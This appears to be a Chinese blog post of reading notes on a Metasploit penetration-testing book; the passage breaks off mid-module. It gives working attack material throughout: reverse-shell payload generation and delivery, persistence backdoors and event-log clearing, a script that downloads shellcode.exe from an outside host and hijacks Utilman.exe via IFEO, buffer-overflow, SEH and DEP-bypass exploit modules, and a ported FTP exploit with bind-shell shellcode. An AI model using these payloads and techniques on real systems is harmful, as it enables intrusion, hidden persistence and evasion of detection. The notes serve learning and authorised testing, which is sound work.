读书笔记《精通Metasploit渗透测试》
本想简单记录一点的,一不小心就记录多了。
一边看书过程中,一边 google 明确名词并扩展知识面。
本文主要就是记录如何使用渗透工具Metasploit对目标进行漏洞扫描,渗透,注入攻击载荷并做后渗透破坏工作。
嗯,本书我给打7分吧。有不少干货,但系统性上还缺了些,不足以成为神书。
相关网址汇总
Metasploit优势
开源,可便利的对大量网络进行批量测试,可便利的更换攻击载荷。
渗透主要流程
- 前期交互阶段
书面明确需求费用,许可范围。时间许可,是否允许社工,DDOS,破坏性的渗透方式,这些比较敏感。
这个阶段,可以使用社工方式从用户处获取更多的附属信息,包括
- 开发运维人员工作时所使用的技术
- 服务器平台和操作系统的详细信息
- 隐藏的登录IP地址或管理区域地址
- 系统的配置和操作系统的详细信息
- WEB服务器的后台技术
- 信息收集阶段(占时50%)
这个阶段,我们需要研究网络配置并从目标网络获取更多信息,包括
- 目标网络技术细节,运行的服务版本等
这里依然可以用社工从最终用户,管理员,网络工程师处获取。也可以通过漏洞扫描工具(如Nessus, OpenVAS, GFI局域网卫士等)去获取。
也可以使用例如Google hacking搜索方式去了解对方。(例如 site: intitle: inurl: filetype: “ + - 等高级搜索)
通过现场信息采集,设备信息检查,丢弃废物收集等以获得对方隐私。
去踩点了解对方安全机制,包括端口扫描,防火墙检查,网络流量过滤防护措施收集等。
- 威胁建模阶段
经过漏洞扫描收集,我们可能得到目标机的一些漏洞列表。
从中选择出合适的针对目标的威胁选项,作用,并对其进行分类,并确定最佳的攻击方式。
- 漏洞分析阶段
从服务器配置,系统漏洞,到应用程序漏洞,到数据库服务。不停的测试,验证和研究。
- 渗透攻击阶段
真正的攻击阶段,通过漏洞获得控制权限。
- 后渗透攻击阶段
一般做渗透成功之后的事,例如提权,上传下载文件,跳板攻击,维护身份,掩盖入侵痕迹等。
- 报告阶段
记录手段思路流程,提出改进建议和修复方案。
术语
渗透模块:Exploit(EXP) 指一段代码。运行该代码可以利用目标漏洞进行攻击。
攻击载荷模块:Payload 也是一段代码。在对目标成功渗透后,这段程序在目标机进行运行,以得到需要的权限,通常是和建立本机和被渗透机之间的通道,或执行特殊任务。
辅助模块: Auxiliary 一些支持工具,例如扫描模块,信息采集,Fuzz测试漏洞发觉,网络协议欺骗等。
Meterpreter: 是一种使用内存技术的攻击载荷,可以注入到进程中。适用范围广,很受欢迎。
编码器模块: Encoder 用来对代码进行混淆的工具。
基本命令
root@xx:~# msfconsole 启动Metasploit(记得先设置环境变量到bin下)
root@xx:~# msfdbinit 启动Metasploit内置的PostgreSQL
msf> db_status 查看数据库状态
msf> db_connect 连接外部数据库
msf> db_disconnect 断开外部数据库
msf> db_import 从外部导入数据到本工具的数据库中
msf> db_export 将数据库的数据导出,用来生成报告或给他工具使用
msf> db_nmap 直接用nmap扫描并将结果保存在metasploit的数据库中
标准样板渗透流程
msf> db_nmap -sV 192.1.1.1 // 得到目标主机开放端口和服务
msf> services -u // 查看目标机当前服务
msf> hosts // 获取数据库中的所有主机
// 假设我们发现目标机开启了 21端口的FTP服务。其信息为 vsftpd 2.3.4
msf> search vsftpd // 查看这个版本的服务是否有什么EXP漏洞
// 假设我们发现它确实有个漏洞叫做 exploit/unix/ftp/vsftpd_234_backdoor
msf> use exploit/unix/ftp/vsftpd_234_backdoor // 使用该EXP
msf> explosit(vsftpd_234_backdoor)> info // 查看该EXP信息
msf> explosit(vsftpd_234_backdoor)> show options // 查看该EXP的选项,发现有RHOST和RPORT两个选项参数
msf> explosit(vsftpd_234_backdoor)> set RHOST 192.1.1.1 // 设置EXP选项1
msf> explosit(vsftpd_234_backdoor)> set RPORT 21 // 设置EXP选项2
msf> explosit(vsftpd_234_backdoor)> show payloads // 查看使用本渗透模块的攻击载荷,假设得到一个有效攻击载荷叫 cmd/unix/interact
msf> explosit(vsftpd_234_backdoor)> set payload cmd/unix/interact // 设置攻击载荷
msf> explosit(vsftpd_234_backdoor)> exploit // 执行攻击
辅助库/辅助功能
// 获取指定IP的端口情况
msf> use auxiliary/scanner/portscan/tcp
msf> auxiliary(tcp)> show options
msf> auxiliary(tcp)> set RHOSTS 129.1.1.1
msf> auxiliary(tcp)> run
// 检查80端口状况
msf> use auxiliary/scanner/http/http_version
msf> auxiliary(http_version)> show options
msf> auxiliary(http_version)> set RHOSTS 129.1.1.1
msf> auxiliary(http_version)> run
// 检查指定版本模块的漏洞情况
msf> search "php 5.2.4" // 就可以得到漏洞列表
// 然后就可以继续重复 **标准样板渗透流程** 了
Meterpreter样板渗透流程
// 以下创建一个Meterpreter攻击载荷,其中-p后面是攻击载荷,LHOST,LPORT是payload参数(本机IP和端口), -f 定义了输出文件类型。-o 表明了payload保存路径。
// msfvenom命令参数在网上建议仔细了解。
root@xx:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 -f exe -o /Users/xxxx/downloads/xxoo.exe
// 然后将创建出来的payload传输到目标机器上,例如本地开启Apache
root@xx:~# service apache2 start
root@xx:~# mv xxoo.exe /var/www/html/
// 然后在刚才进入的目标机中下载该payload
root@target:~# wget http://129.0.0.1/xxoo.exe
// 下载完成后,提供一个权限
root@target:~# chmod 777 xxoo.exe
// 我们的Payload到了目标机后,需要通过渗透模块控制程序Handler进行互相通信
msf> use exploit/mutil/handler
msf exploit(handler)> show payloads // 查看这个EXP对应的payloads
msf exploit(handler)> set payload windows/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter> // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> sysinfo // 查看目标机系统信息
Meterpreter> ifconfig // 查看目标机网卡信息
Meterpreter> arp // 查看目标机与哪些机器进行了连接
// 其他等等操作不说明了,最后可以用background命令将这个Meterpreter放置在后台
Meterpreter> background
// 可以用hosts查看Meterpreter
msf explosit(handler)> hosts
Meterpreter常见命令
Meterpreter> getwd // 获取工作目录
Meterpreter> upload -h // 上传文件或文件夹到目标机
Meterpreter> download // 下载文件或文件夹到本机
Meterpreter> search -h // 在目标机上搜索文件
Meterpreter> portfwd // 在部分端口仅允许内网访问时,做端口转发
Meterpreter> route // 查看路由
Meterpreter> ps // 查看进程状况
Meterpreter> migrate // 将Meterpreter会话从一个进程移植到另一个进程的内存空间,只要进程不死Meterpreter就不会断,用来保护Meterpreter的最大寿命
Meterpreter> execute // 在目标机上执行指定文件
Meterpreter> run persistence // 会在目标机上安装一个恶意的VBS脚本并自动启动,在目标机上开启永久后门,实现访问的持久化。之后执行exploit/multi/handler进行通用渗透handler,就可以进行再连接了。
Meterpreter> run event_manager -c // 清除事件管理器日志
Meterpreter> clearv // 清除目标系统的事件日志
Ruby编写自定义模块
// 常用遍历
def my_func(a)
a.each do |i|
print i.to_s + "\t"
end
end
a = Array.new(5)
a = [1,2,3,4,5]
my_func(a)
// 正则表达式
[RUBY正则表达式](https://rubular.com/)
// Metasploit中的打印函数
print_good("111") // [+]111 绿色,表示正常
print_status("111") // [*]111 蓝色,表示信息
print_error("111") // [-]111 红色,表示错误
// 通用Metasploit框架
require 'msf/core'
class Metasploit5 < Msf::Auxiliary // 继承哪些模块,可继承Msf::Post等等模块
include Msf::Axuiliary::Scanner // 包含头,可调整
def initialize
super('Name' => 'Module name',
'Description' => '这是描述文字',
'Author' => 'Name',
'License' => MSF_LICENSE)
register_options(
[Opt::RPORT(21), ] // 参数,可调整
)
end
def run_host(params)
# 自己的核心逻辑
end
end
// 编写完自己的模块rb文件后,要使用msftidy进行代码检查
root@xx:~# /usr/share/metasploit-framework/tools/dev/msftidy.rb /usr/share/metasploit-framework/myXXOOXX.rb
跳板攻击
1. 首先渗透进入A的计算机。
2. 通过A的计算机安装的Meterpreter添加一条从A访问B(限制仅允许A访问)的一个路由项。
使用 autoroute
3. 建立socks代理服务器,让所有网络流量通过Meterpreter发送到A的计算机上。
使用 auxiliary/server/socks4a
4. 根据建立的socks代理服务器重新配置本机系统的代理设置文件。
修改Proxychains.conf
5. 将浏览器的代理地址设置为socks的地址。
6. 这样就达成了所有访问,别人会认为是A发出的假象。
权限持久化
一个是使用之前的 persistence,它会在目标机上安装一个恶意的VBS脚本并自动启动,定期尝试和外界的指定IP端口进行通讯,类似反向代理。
解决方案:删除注册表中的值和上传的VBScript文件,该持久化就无效了。
特点:因为是主动向外界连接,防火墙阻挡概率低;但因为需要写入注册表并创建文件,容易被杀掉。
开启方式:Meterpreter> run persistence // 参数较多,上网查一下
再连接方式: 使用exploit/mutil/handler这个EXP,再用windows/meterpreter/reverse_tcp这个payload,设置IP端口就可以等待连接了(一般是10s会被连接)。
一个是使用MetSVC,它会在目标机上注册一个服务,开机自动启动,这个服务器会等待连接。
特点:任何人都可以用这个后门连接访问服务器,但因为是等待连接,可能连接时被防火墙挡掉;启动服务时还需要管理员权限。
开启方式: Meterpreter> run metsvc -A // 一般端口会是31337
移除方式: Meterpreter> run metsvc -r
再连接方式: 使用exploit/mutil/handler这个EXP,再用windows/metsvc_bind_tcp这个payload,设置IP端口就可以连接了。
利用RailGun制作Meterpreter
Meterpreter核心机理就是调用mixins类的API,通过它调用Windows动态链接库和其他一些Ruby模块。
想不编译DLL就调用windows系统DLL,就需要使用RailGun,它属于Ruby,不属于Meterpreter。
// 从Meterpreter进入Ruby命令行,需要如下命令
meterpreter> irb
// 进入irb的ruby命令行后,调用系统dll,例如下面是系统锁定
>> client.railgun.user32.LockWorkStation()
// 进行ruby编码如下,并将如下代码保存为 urlmon.rb 存放到 /scripts/meterpreter 中
if client.railgun.get_dll('urlmon') == nil
print_status("add function")
end
client.railgun.add_dll('urlmon', 'c:\\windows\\system32\\urlmon.dll')
client.railgun.add_function('urlmon', 'URLDownloadToFileA', 'DWORD',[
['DWORD', 'pcaller', 'in'],
['PCHAR', 'szUrl', 'in'],
['PCHAR', 'szFileName', 'in'],
['DWORD', 'Reserved', 'in'],
['DWORD', 'lpfnCB', 'in'],
])
// 上面的代码就将一个win32系统API注册给了Meterperter使用,该方法可以进行文件下载。然后我们编写一个railgun-demo.rb脚本进行映像劫持(IFEO),期间我们使用这个API。
client.railgun.urlmon.URLDownloadToFileA(0, "http://192.0.0.1/shellcode.exe", "C:\\windows\\system32\\shellcode.exe", 0, 0) // API调用,下载木马EXE文件到system32中
key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Utilman.exe"
syskey=registry_createkey(key) // 注册表下创建一个注册表键
registry_setvaldata(key, 'debugger', 'shellcode.exe', 'REG_SZ') // 将辅助工具管理器替换为shellcode的注册表键
// 然后我们执行
meterperter> run urlmon // 执行注册API脚本
meterperter> run railgun_demo // 执行映像劫持(IFEO)
之后我们登录时,只要点【访问】按钮,就会调用我们的shellcode.exe
渗透基本概念
渗透的核心操作的是以下部分
- EIP (Extended Instruction Pointer)指令指针寄存器
- ESP (Extended Stack Pointer)栈指针寄存器
- NOP (No operation)空操作指令 \x90
- JMP (Jump)跳转指令
CPU主要组成部分
- CU (Control Unit)控制单元。负责对指令的接受和译码工作,并将数据存储到内存中
- EU (Execution Unit)执行单元。负责真正的执行过程
- Register 寄存器。用来辅助系统执行的存储组件
- EAX 32位 负责存储数据和操作数的累加器,通常函数返回值也会通过这个寄存器传输
- EBX 32位 基地址寄存器,指向数据的指针
- ECX 32位 用来实现循环的计数器
- EDX 32位 用来保存I/O指针
- ESI 32位 索引寄存器,内存运算时的数据指针
- EDI 32位 索引寄存器,内存运算时的数据指针
- ESP 32位 保存栈顶位置,当有元素进栈出栈时,ESP的值会更变
- EBP 32位 栈数据指针寄存器
- EIP 32位 指令指针寄存器,它保存了下一个指令的地址(渗透主要工作寄存器)
- SS,DS,ES,CS,FS,GS 16位 段寄存器
Linux程序内存分布图
【高地址】
0xffffffff
【内核区】
0xc0000000
【调用栈区】 ↓向低地址增长
???
【动态链接库区】 固定大小
??? + sizeof(动态链接库区)
【堆区】 ↑向高地址增长
0x08048000 + sizeof(只读区) + sizeof(读/写区)
【读/写区】 固定大小
0x08048000 + sizeof(只读区)
【只读区】 固定大小
0x08048000
【保留区】
0x00000000
【低地址】
函数调用栈内存分布
函数调用栈是当程序运行时,内存的一段连续区域,用来保存函数的状态信息,包括参数,局部变量等。
称之为“栈”是因为其插入顺序是,调用函数先被保存在栈内(栈底,高地址),被调用函数的状态被压入栈顶(低地址)。函数调用结束时,栈顶(低地址)的函数被弹出。
函数调用栈从高地址向低地址增长,所以栈顶(低地址)的内存地址,在压栈时变小,退栈时变大。
【高地址】
main函数
被调用函数
进一步被调用的函数
<- 在这里插入新的被调用函数; 调用结束时,从这里弹出被调用函数
【低地址】
负责函数栈内存管理的寄存器包括 ESP(Extended stack pointer), EBP(Extended base pointer), EIP(Extended instruction pointer)。
其中ESP保存函数调用栈的栈顶地址(低地址),在压栈退栈时会不停变化。
EBP保存当前正在执行的函数的基地址(本函数的高地址),在当前函数执行过程中,不会变化,用它可以快速索引函数参数或局部变量位置。
EIP保存的下一条指令的地址,通过EIP,程序可以连续执行指令。(强调,EIP是汇编指令级的,不是源代码函数级别的,也不是源代码行数级的)
函数栈状态如下:
【高地址】
-- 调用者栈 形参N
-- ...
-- 调用者栈 形参2
-- 调用者栈 形参1 【该值为 EBP+8】
-- 调用者栈 返回地址【该值为 EBP+4】,也就是调用者函数执行完成后,应该去进行访问地址
-- 当前函数栈 函数的基地址 <- 此时EBP值指向这里
-- 当前函数栈 局部变量N
-- ...
-- 当前函数栈 局部变量2
-- 当前函数栈 局部变量1
-- 当前函数栈 其他寄存器的值
-- 当前函数栈 形参N
-- ...
-- 当前函数栈 形参2
-- 当前函数栈 形参1
-- 当前函数栈 返回地址 <- ESP值永远指向栈顶
【低地址】
我们对其中一部分做简化
----> 栈内存从低到高 ---->
| 局部变量 | EBP | 返回地址 | 形参 |
ASM看函数栈内存分布
例如如下代码:
;; int sum(int a, int b) {
;; return s;
;; }
push ebp ; 保存调用函数的基地址
mov ebp, esp ; 保存sum函数的基地址到ebp中,此时ebp为当前sum函数基地址
mov edx, DWORD PTR [ebp+0x8] ; 读取栈中的参数 1
mov eax, DWORD PTR [ebp+0xc] ; 读取栈中的参数 2
add eax, edx ; 1 + 2 保存结果到eax中
pop ebp ; ebp数据出栈
ret ; 结束sum函数,回到调用处,此时eax中存储返回值
内存溢出渗透
我们进行内存溢出渗透时需要做的事情
找到用户输入的填充区,然后填充满这个缓冲区,再覆盖其后的EBP寄存器,就能达到EIP寄存器。这个填充长度称为偏移量。
重写EIP寄存器地址。通常是一个JMP ESP指令,让程序跳转到payload函数所在地址。
最后我们要审查一下填充数据中没有一些会引起异常的字符,例如”0x00”可能会导致该字符在网络传输过程中导致缓冲结束,应当去除它。
首先,我们使用pattern_create工具测试偏移量。
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_crearte.rb 1000
它会生成如下字符串 “Aa0Aa1Aa2Aa3....Ab0Ab1Ab2...Ba0Ba1...”
我们将上述字符串输入到带漏洞的应用程序中,可以得到报错,其中的内存地址就是EIP的地址 0x832b2a81。
再通过pattern_offset工具可计算得到偏移量。
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 832b2a81 1000
它会输出如下 “Exact macth at offset 387”
所以,在387个字节之后的 4个字节 内容会被复写到EIP寄存器中。
为了填充偏移量,那么就推荐使用空指令进行填充,该指令为 \x90,它不执行任何操作,仅顺序执行到下一个地址。使用其他字符填充,可能会引发不可预估的异常。
既然我们的目的是将EIP地址指向我们的Shellcode地址。那么只要
----> 栈内存从低到高 ---->
| 局部变量 | EBP | 返回地址 | 形参 |
改成
----> 栈内存从低到高 ---->
| x90x90x90... | x90x90x90... | 我们Shellcode的地址 | x90x90x90.. |
就可以达成输入完之后,EIP就会修改为我们shellcode地址并进一步执行。
JMP ESP
但shellcode存放在哪儿呢?我们可以硬编码到一个有执行权限的地址,但这样的”硬地址”很不安全,于是我们推荐使用一种相对定位shellcode地址的方法,称之为 “JMP ESP”。
它利用了一个栈顶指针ESP的特性:当函数结束,执行ret指令时,我们ESP寄存器在内存释放时,逐步指向栈顶
----> 栈内存从低到高 ---->
| x90x90x90... | x90x90x90... | JMP ESP命令所在的地址 | shellcode |
这块内存都被释放了 | <- ESP所在地
此时我们若将原本shellcode所在地址,改成程序中某处 “JMP ESP”命令所在地址的话,后果将是ESP释放这个地址,并指向后面的shellcode部分,而EIP将会去执行那处”JMP ESP”命令,导致EIP去执行ESP指向的shellcode部分。
所以步骤是:
- 首先查找程序中原本任何一处存在的JMP ESP命令地址
root@kali:/usr/share/metasploit-framework# msfbinscan -j esp /root/myexe.dll
得到 0x71ac73b1 push esp; ret
然后我们将 0x71ac73b1 这个地址,设置到上面的 387 字节偏移量之后(用0x90填充),然后,在这 387 + 4 字节之后加入shellcode即可。
但还有个问题,大部分情况下,“ 返回地址 | 形参 ” 中间有可能间隔一些区域。换成最后那张图,即意味着 “JMP ESP命令所在的地址 | shellcode” 之间可能存在一些区域,此时需要使用immunity调试器对ESP寄存器中内容做一些监视以确定间隔大小,再用NOP(0x90)填补。
编写Metasploite内存渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp // 支持库
def initialize(info = {})
super(update_info(info,
'Name' => 'Stack based buffer overflow',
'Description' => 'Test exp module',
'Platform' => 'win', // 本模块可适用的平台
'Author' => ['FK'],
'Payload' => {
'space' => 1000, // 攻击载荷shellcode允许的最大空间
'BadChars' => '\x00\xff', // 可能出现的异常字符
},
'Targets' => [
['Windows XP SP2', {'Ret' => 0x71ac73b1, 'Offset' => 387}] // JMP ESP地址 和 前置偏移量
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
register_options(
[Opt::RPORT(200)],
self.class
)
end
def exploit // 该函数类似于辅助模块的默认函数run
// 自己的逻辑代码,例如
connect
buf = make_nops(target['Offset'])
buf = buf + [target['Ret']].pack('V') + make_nops(10) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
使用方式和之前一样
// 使用自己的EXP
msf> use exploit/windows/MyTestExploit
// 使用Payload
msf exploit(MyTestExploit)> set payload windows/meterpreter/bind_tcp
// 查看EXP参数
msf exploit(MyTestExploit)> show options
// 执行
msf exploit(MyTestExploit)> exploit
SEH溢出
什么是SEH
SEH就是“structured exception handler”缩写,就是当我们写代码时需要进行异常捕获处理的情况,就是try,catch语法。
如果我们复写了 catch 段代码,就可以引起异常来激活我们的shellcode执行了。
其中,SEH模块代码地址的内存布局如下
----> 栈内存从低到高 ---->
| 局部变量 | EBP | 返回地址 | 形参 | 异常程序处理地址 |
而SEH模块内部的内存布局如下形成单向链表状
----> 栈内存从低到高 ---->
| 下一个SEH记录地址 | 处理程序1的地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |
任何一条SEH记录,前4字节为下一个SEH记录的地址,后4字节为处理程序(也就是catch块)的地址。
因为一个程序允许有多个异常处理程序,所以SEH块之间会形成链表状。
利用SEH
- 使用pattern_crearte生成4000字节的字符队列,然后将其发送到目标处。(TELNET 或 直接填写)
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_crearte.rb 4000 > 4000.txt
- 然后在immunity调试器中查看该程序栈,可以看到其SE Hanlder的地址被改写,假设改写为 345663E23, 然后我们通过pattern_offset去找精确偏移量
root@kali:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 345663E23 4000
执行可得到其真实偏移量如下
[*] Exact match at offset 3511
- 然后我们查看SEH模块内部内存分布可知,我们执行两次POP(一次POP操作可使ESP指针+4,两次则+8),即可到达下一个SEH异常处理程序指针,然后我们将这个指针(即ESP+8)的地址替换为跳转到payload的JMP指令的地址,则可执行我们的shellcode。示例如下图:
【本图中名词请参见上面的 SEH模块内部的内存布局 这张图】
异常Catch ---调用----> SEH的处理程序1的地址 (我们修改这个地址为执行 POP/POP/RET 的地址) ---调用---> POP/POP/RET指令(该指令两次POP,会导致ESP+8,ESP当前将指向“下一个SEH记录地址”,RET会使EIP跳转到ESP处) ---调用---> 执行“下一个SEH记录地址”(但该地址我们已经修改为shellcode地址) ---调用--->我们的shellcode
- 这一步我们来找程序中原本就有的 POP/POP/RET 的地址,以便之后使用。
首先我们通过一些反汇编软件,获取我们破解软件中所依赖的dll列表。然后找到没有收到safeSEH保护的dll。(可使用immunity调试器的 MONA插件)
假设我们找到一个不受safeSEH保护的 aaa.dll
我们使用如下工具找到其 POP/POP/RET 指令序列
root@kali:~# msfbinscan -p /aaa.dll
得到
0x9230bc29 pop ebp; pop ebx; ret
0x9230be8a pop edi; pop esi; ret
用其中随便一个即可。我们这里将使用0x9230bc29。
于是到这里,我们已经得到了两个核心值,一个是SEH的offset偏移量,一个 POP/POP/RET 的地址。
编写Metasploit的SEH渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow (HEAD)',
'Description' => 'SEH based overflow example',
'Platform' => 'win', // 本模块可适用的平台
'Author' => ['FK'],
'DefaultOptions' => { 'EXITFUNC' => 'thread', },
'Payload' => {
'Space' => 400,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\xff",
}
'Targets' => [
['HTTP', {'Ret' => 0x9230bc29, 'Offset' => 3511}] // POP/POP/RET地址 和 SEH地址偏移
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def exploit // 该函数类似于辅助模块的默认函数run
// 自己的逻辑代码,例如
connect
buf = "HEAD " // 生成一个恶意头
buf << make_nops(target['Offset']) // 填充4091个NOP
buf << generate_seh_record(target.ret) // 生成一个8字节指令,前4字节指令负责跳转到payload地址,后4个字节负责跳转到 POP/POP/RET地址
buf << make_nops(19) // 无意义,仅防止检测
buf << payload.encode
buf << " HTTP/1.0\r\n\r\n"
sock.put(buf)
handler
disconnect
end
end
补充:NASM获取操作码
上面代码中 generate_seh_record() 实际作用是填充了8字节指令,前4字节指令负责跳转到payload地址,后4个字节负责跳转到 POP/POP/RET地址。
这八个字节分别复写情况如下
----> 栈内存从低到高 ---->
| 下一个SEH记录地址 | 处理程序1的地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |
----> 栈内存从低到高 ---->
| 前四个字节的短跳指令 | POP/POP/RET地址 | 下一个SEH记录地址 | 处理程序2的地址 | ...... | 下一个SEH记录地址 | 处理程序3的地址 |
这个短跳指令是 \xeb\x0a\x90\x90 ,后面的\x90是进行补齐的,前面的\xeb\x0a是实际的短跳,向后跳转12字节,即汇编码
jmp short 12
那么我们如何知道汇编码对应的指令操作码呢?这里推荐使用 NASM shell。例如:
root@kali:/usr/share/metasploit-framework/tools/exploit# ./nasm_shell.rb
nasm > jmp short 12
00000000 EB0A jmp short 0xc
nasm >
通过nasm_shell脚本,我们就可以通过命令获取汇编码对应的指令操作码了。
绕过DEP
DEP和ROP
数据执行保护(Data Execution Prevention, DEP)是一种将特定内存区域,标记为不可执行的保护机制。
该保护机制将导致我们渗透过程中无法执行shellcode。因为,即使我们修改ESP到shellcode起始地址,并修改EIP使其JMP ESP进行执行。但DEP依然会禁止内存中可写区域(我们的shellcode在这里,也就是ESP所指向位置)的数据执行。此时我们就需要ROP技术。
返回导向编程(Reture Oriented Programming, ROP)技术和之前的修改EIP跳转到ShellCode栈溢出的方法不同。它通过调用ROP指令片段(gadget),一层一层的跳转到最后的shellcode,而无需执行栈内任何代码。
这样一个一个跳转指令片段,从栈中依次执行,并返回下一个跳转到的地址,最终这个链最终跳转到代码区(不在栈区),调用了一个叫 VirtualProtect 的函数,该函数能够将指定内存区改成可执行状态,相当于破除了DEP的限制。
这就是ROP的原理。
DEP的开启可以在 【控制面板】-> 【系统】-> 【高级】 -> 【性能设置】 -> 【数据执行保护(DEP)】中开启。
查找ROP指令片段链
首先,我们可以使用 immunity调试器的 MONA插件 去找到软件所依赖的dll库。
然后使用Metasploit的工具msfrop查找指定指令片段的地址,例如:
root@kali:~# msfrop -v -s "pop ecx" msvcrt.dll
将会得到
[*] gadget with address: 0x6ffdb1d5 matched
0x6ffdb1d5: pop ecx
0x6ffdb1d6: ret
[*] gadget with address: 0x6ffdbd8f matched
0x6ffdbd8f: pop ecx
0x6ffdbd90: ret
...
如此反复,我们将得到一个ROP片段,然后将其链接起来跳转到 VirtualProtect 即可(Android则是跳转到 mprotect 函数去修改内存读写状态)
MONA构建ROP链
依然使用 immunity调试器的 MONA插件 ,用它attach到指定进程,然后执行
!mona rop -m *.dll -cp nonull
即可在 C:\Program Files\Immunity Inc\Immunity Debugger\ 下即可生成 rop_chains.txt等文件,其中就有VirtualProtect() 函数的ROP链。
def create_rop_chain()
rop_gadgets = [
0x77c1deb4, # POP EAX # RETN [msvcrt.dll]
0x77be1120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
...
0xffffffff, #
0x77c29ea4, # INC EBX # RETN 0x04 [msvcrt.dll]
...
0xffffffc0, # Value to negate, will become 0x00000040
...
0x90909090, # nop
0x77d1cff4, # PUSHAD # RETN [user32.dll]
].flatten.pack("v*")
return rop_gadgets
end
值得注意的是,这个ROP链的地址都是绝对地址,在软件重启内存释放情况下就不再有效。我们可以通过特殊方法,寻找到软件基地址,然后通过位置偏移得到这些地址,长期使用。
上述ROP链可以手动找到并编写,麻烦,但相当可靠。
编写Metasploit的绕开DEP渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DEP bypass Exploit',
'Description' => 'DEP bypass Using ROP Chains example',
'Platform' => 'win', // 本模块可适用的平台
'Author' => ['FK'],
'Payload' => {
'Space' => 400,
'BadChars' => "\x00",
}
'Targets' => [
['HTTP', { 'Offset' => 3511}] // 溢出地址偏移
],
'DisclosureDate' => 'Oct 30 2019' // 漏洞发现时间
))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def create_rop_chain()
rop_gadgets = [
0x77c1deb4, # POP EAX # RETN [msvcrt.dll]
0x77be1120, # ptr to &VirtualProtect() [IAT msvcrt.dll]
...
0xffffffff, #
0x77c29ea4, # INC EBX # RETN 0x04 [msvcrt.dll]
...
0xffffffc0, # Value to negate, will become 0x00000040
...
0x90909090, # nop
0x77d1cff4, # PUSHAD # RETN [user32.dll]
].flatten.pack("v*") # pack("v"), 转为小尾
return rop_gadgets
end
def exploit // 该函数类似于辅助模块的默认函数run
// 自己的逻辑代码,例如
connect
rop_chain = create_rop_chain()
junk = rand_text_alpha_upper(target['Offset'])
buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
sock.put(buf)
handler
disconnect
end
end
将常见Exp移植到Metasploit中
网上会有各种的EXP,但其代码可能是python,perl,C等,我们可以将其移植到Metasploit中。
当目标机器只有一台的时候,这种移植并没有什么优势,但在对大规模网络进行渗透测试时,这将非常有意义。
移植一个python编写的缓冲区溢出模块EXP
源码来自 Exploit-DB 这里
import socket as s
from sys import argv
if(len(argv) != 4):
print "USAGE: %s host <user> <password>" % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
espaddress = '\x59\x06\xbb\x76' # 76BB0659
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"......"
"......"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
sploit = junk+espaddress+nops+shellcode
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('CWD '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()
这个渗透模块采用匿名方式登陆到运行在21端口的 PCMAN FTP2.0, 并利用CWD命令来进行渗透。
其过程包括:
- 将用户名,密码,主机分别保存在 host,fuser,fpass 中
- 将 junk 分配成 2012个字符’A’。用来做EIP偏移
- 将 JMP ESP地址赋值给 espaddress
- 将 10个 NOP 符号保存到变量 nops中
- 将攻击载荷丢到shellcode中
- 使用账密登录目标机FTP
- 组装,向目标发出 CWD 命令,并将溢出buf通过socket发送给目标机的21端口
- 执行结束的话,会在目标机弹出一个 windows 的计算器应用程序。证明了该EXP的渗透成功。
我们在其中找到核心要点:
- EIP偏移量 = 2012
- JMP ESP地址 = 0x76BB0659
- ESP和Shellcode之间的间隔空隙 = 10字节
- 目标端口 = 21
- 核心思路 = 发送CWD,后面跟着2012个填充数据,再复写ESP地址为0x76BB0659,填充ESP和Shellcode的间隙10个字节NOP,最后跟上Shellcode实际指令。
接下来,我们用Metasploit构建一个同样功能的渗透模块
require 'msf/core'
class Metasploit5 < Msf::Exploit::Remote // 继承自远程渗透模块
Rank = NormalRanking
include Msf::Exploit::Remote::Ftp // 支持库
def initialize(info = {})
super(update_info(info,
